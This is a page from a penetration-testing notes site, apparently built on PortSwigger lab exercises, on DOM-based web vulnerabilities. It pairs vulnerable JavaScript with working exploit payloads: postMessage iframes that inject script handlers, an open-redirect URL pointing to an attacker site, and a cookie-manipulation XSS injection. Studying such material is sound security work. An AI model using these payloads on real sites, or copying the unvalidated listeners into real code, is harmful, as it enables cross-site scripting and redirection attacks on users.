d4Rk's 1337 h4x0r guide
  • Introduction
  • Reconnaissance
    • Recon
    • OSINT
  • Enumeration
    • Network discovery
    • Port scanning
    • Webserver scanning
    • Exploit detection
    • Fuzzing
    • Process monitoring
  • Exploitation
    • Shells
      • Shells
      • TTY
    • Passwords
      • Hashcat
      • John the Ripper (JTR)
      • Hydra
      • Passwords & credentials
    • Web
      • SQL injection (SQLi)
      • Cross site scripting (XSS)
      • File inclusions (LFI, RFI)
      • Directory traversal
      • Cross site request forgery (CSRF)
      • XML external entity (XXE)
      • Cross origin resource sharing (CORS)
      • Server-side request forgery (SSRF)
      • Server-side template injection (SSTI)
      • Access control vulnerabilities
      • Authentication vulnerabilities
      • JWT attacks
      • File uploads
      • Host header attacks
      • Clickjacking
      • Logic flaws
      • OS command injection
      • HTTP Request smuggling
      • Insecure deserialization
      • DOM-based
      • WebSockets
      • Web cache poisoning
    • Buffer overflow
      • General
      • Linux
      • Windows
    • Misc
      • Evasion
      • SQSH
  • Privilege escalation
    • Linux
      • Overview
    • Windows
      • Overview
      • Mimikatz
      • PowerSploit
      • Juicy Potato, Rotten Potato (NG)
      • JAWS
      • Empire
      • SILENTTRINITY
  • Post exploitation
    • Loot
    • Pivoting
    • Standalone Tools
  • Services
    • TCP
      • TCP 21: FTP
      • TCP 22: SSH
      • TCP 23: Telnet
      • TCP 25, 587: SMTP
      • TCP 53: DNS
      • TCP 80, 443: HTTP(S)
      • TCP 88: Kerberos
      • TCP 110, 995: POP3(S)
      • TCP 111: rpcbind
      • TCP 135: MSRPC
      • TCP 139, 445: NetBIOS, SMB
      • TCP 143, 993: IMAP(S)
      • TCP 389, 636, 3268, 3269: LDAP
      • TCP 1433, UDP 1434: MSSQL Server
      • TCP 2049: NFS
      • TCP 3306: MySQL
      • TCP 3389: RDP
      • TCP 5985: WinRM
      • TCP 6379: Redis
      • TCP 27017: MongoDB
    • UDP
      • UDP 137, 138, TCP 139: NetBIOS
      • UDP 161: SNMP
    • Misc
      • Active Directoy
      • Apache Tomcat
      • Drupal
      • H2 Databases
      • IIS
      • IPsec
      • IRC
      • Java Applets
      • Java RMI
      • Jenkins
      • Joomla
      • Oracle
      • PHP
      • SharePoint
      • WordPress
  • File transfer
    • Overview
    • Wget
    • Pure-FTPd
    • TFTP
    • VBScript: Wget clone
  • Misc
    • Bash
    • Burp Suite
    • Crypto
    • Ebowla
    • Firefox extensions
    • Impacket
    • Memory forensics
    • Metasploit Framework (MSF)
    • MITM
    • Msfvenom
    • Pass the Hash (PTH)
    • PowerShell
    • PowerShell on Linux
    • Wireshark
    • Wordlists and dictionaries
  • Bug Bounty
    • Platforms
    • Tools
Powered by GitBook
On this page
  • Taint-flow
  • Web messages
  • Open redirect
  • Cookie manipulation
  • DOM clobbering
  • Other DOM-based vulnerabilities
Edit on GitHub
  1. Exploitation
  2. Web

DOM-based

PreviousInsecure deserializationNextWebSockets

Last updated 2 years ago

Taint-flow

Sources Sinks

Web messages

If a website handles web message in an unsafe way, e.g. by not verifying the origin, code in the event listener become potential sinks.

Example 1 (no validation)

Vulnerable code

<script>
    window.addEventListener('message', function(e) {
        document.getElementById('name').innerHTML = e.data;
    })
</script>

Exploit

<iframe src="https://vulnerable-site.com" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*')">

Example 2 (broken URL validation)

Vulnerable code

<script>
	window.addEventListener('message', function(e) {
	    var url = e.data;
	    if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
	        location.href = url;
	    }
	}, false);
</script>

Exploit

<iframe src="https://vulnerable-site.com" onload="this.contentWindow.postMessage('javascript:print()//https:','*')">

Open redirect

Vulnerable code

<a href='#' onclick='returnUrl = /url=(https?:\/\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1]; else location.href = "/"'>Back</a>

Exploit

https://vulnerable-website.com/?url=https://attacker-site.com

Cookie manipulation

Vulnerable code

<a href='https://website.com/product?productId=2'>Last viewed product</a>

<script>
	document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
</script>

Exploit

<iframe src="https://website.com/product?productId=2#'><script>print()</script>"></iframe>

DOM clobbering

Other DOM-based vulnerabilities

PortSwigger - Web Security Academy - DOM-based
PortSwigger - Web Security Academy - Controlling the web message source
PortSwigger - Web Security Academy - DOM-based open redirection
PortSwigger - Web Security Academy - DOM-based cookie manipulation
PortSwigger - Web Security Academy - DOM clobbering
PortSwigger - Web Security Academy - DOM-based JavaScript injection
PortSwigger - Web Security Academy - DOM-based document-domain manipulation
PortSwigger - Web Security Academy - DOM-based WebSocket-URL poisoning
PortSwigger - Web Security Academy - DOM-based link manipulation
PortSwigger - Web Security Academy - Web message manipulation
PortSwigger - Web Security Academy - DOM-based Ajax request-header manipulation
PortSwigger - Web Security Academy - DOM-based local file-path manipulation
PortSwigger - Web Security Academy - DOM-based client-side SQL injection
PortSwigger - Web Security Academy - DOM-based HTML5-storage manipulation
PortSwigger - Web Security Academy - DOM-based client-side XPath injection
PortSwigger - Web Security Academy - DOM-based client-side JSON injection
PortSwigger - Web Security Academy - DOM-data manipulation
PortSwigger - Web Security Academy - DOM-based denial of service